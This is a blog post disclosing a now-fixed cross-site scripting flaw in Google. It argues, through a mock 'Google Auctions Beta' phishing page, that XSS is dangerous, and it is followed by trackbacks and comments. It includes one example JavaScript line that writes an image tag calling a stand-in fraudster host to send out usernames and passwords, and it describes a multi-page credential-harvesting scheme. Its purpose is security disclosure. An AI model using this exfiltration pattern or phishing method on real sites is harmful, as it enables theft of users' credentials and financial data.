Google Auctions XSS Proof of Concept
Note: Google has now fixed the vulnerability.
After a recent article by the folks at NeoSmart.net http://neosmart.net/blog/archives/194 which seemingly downplayed the severity and danger posed by XSS (cross site scripting), I thought it pertinent to help elucidate just how powerful XSS can be. The vast majority of XSS proof-of-concepts are limited to simple javascript alerts. When visiting an XSS injected url, you see some pop up that warns you of the vulnerability. This is substantial enough for professionals to understand the severity of the injection, but to the average web user it seems no more dangerous than any other pop up they encounter.
The truth is, however, that XSS is an extremely powerful method through which a criminal can rely on the trust a user places in an individual web site to coax a user to give up important information. Furthermore, it is not limited to just collecting cookie data. A well executed XSS attack can draw a user through an intricate multi-page fraud where the user escalates through to provide not just usernames and passwords… Take for example the below…
Everyone knows about the possibility of a Google version of E-Bay. Well, what if a clever fraudster used XSS to launch a fake Google Auctions Beta. It would be easy to accomplish this with XSS, and just as easy to convince people they need to provide financial information. There is nothing uncommon with an auction site asking for personal information like bank accounts or Social Security Numbers for tax purposes. So, follow the link below…
Now, I have placed the sign up form in an image, just so that you know that I am not collecting any private data in this Proof of Concept. But, you can get my point. The page is very real looking and certainly could pass as the real entry page for a new Google auctions page. In fact, a clever enough fraudster could use the same injection method to create an About page describing the service, a Contact Page, and much much more to convince you of the veracity of the page. Furthermore, once the individual fills out the form, it needn’t post away from Google – instead, the fraudster can use javascript to write whatever was inputed in that form to a hidden div tag calling an image – for example have it generate the code document.write(‘[img xsrc=’http://www.fraudsters-web-site.com/image.jpg?username=xxxxx&password=xxxx’]’). Subsequently, the fraudster now has your username and password stored in his/her log file without you ever leaving Google.com
Instead, the fraudster’s form directs you to another XSS page on Google. This one asks for further information to set up your account. The user now thinks he/she has successfully logged into the system and, thus, has nothing in the world to worry about. Do No Evil, Right!?!
Conclusions:
The problem with most good people is they just are not as clever as the bad people. Calling XSS not a vulnerability is like calling the gas tank on a Pinto not a vulnerability. While XSS is part of a social engineering attack, so is a car wreck with a Pinto. The truth is, the internet is filled with average users just like roads are filled with average drivers – we don’t need sites with XSS holes and we don’t need cars that explode on impact.
3 Comments
Trackbacks/Pingbacks
- ha.ckers.org web application security lab - Archive » More Cross Site Scripting in Google - [...] Well Russ Jones over at TheGoogleCache just disclosed another cross site scripting vulnerability in Google that I previously verified…
- Search Engine Optimization (SEO) Journal » Blog Archive » More Cross Site Scripting in Google - [...] Well Russ Jones over at TheGoogleCache just disclosed another cross site scripting vulnerability in Google that I previously verified…
It looks like Google fixed the XSS attack. Am I right? (Pls respond by email.)
Brilliant!
Researchers at Watchfire realized that Google does not indicate the character encoding.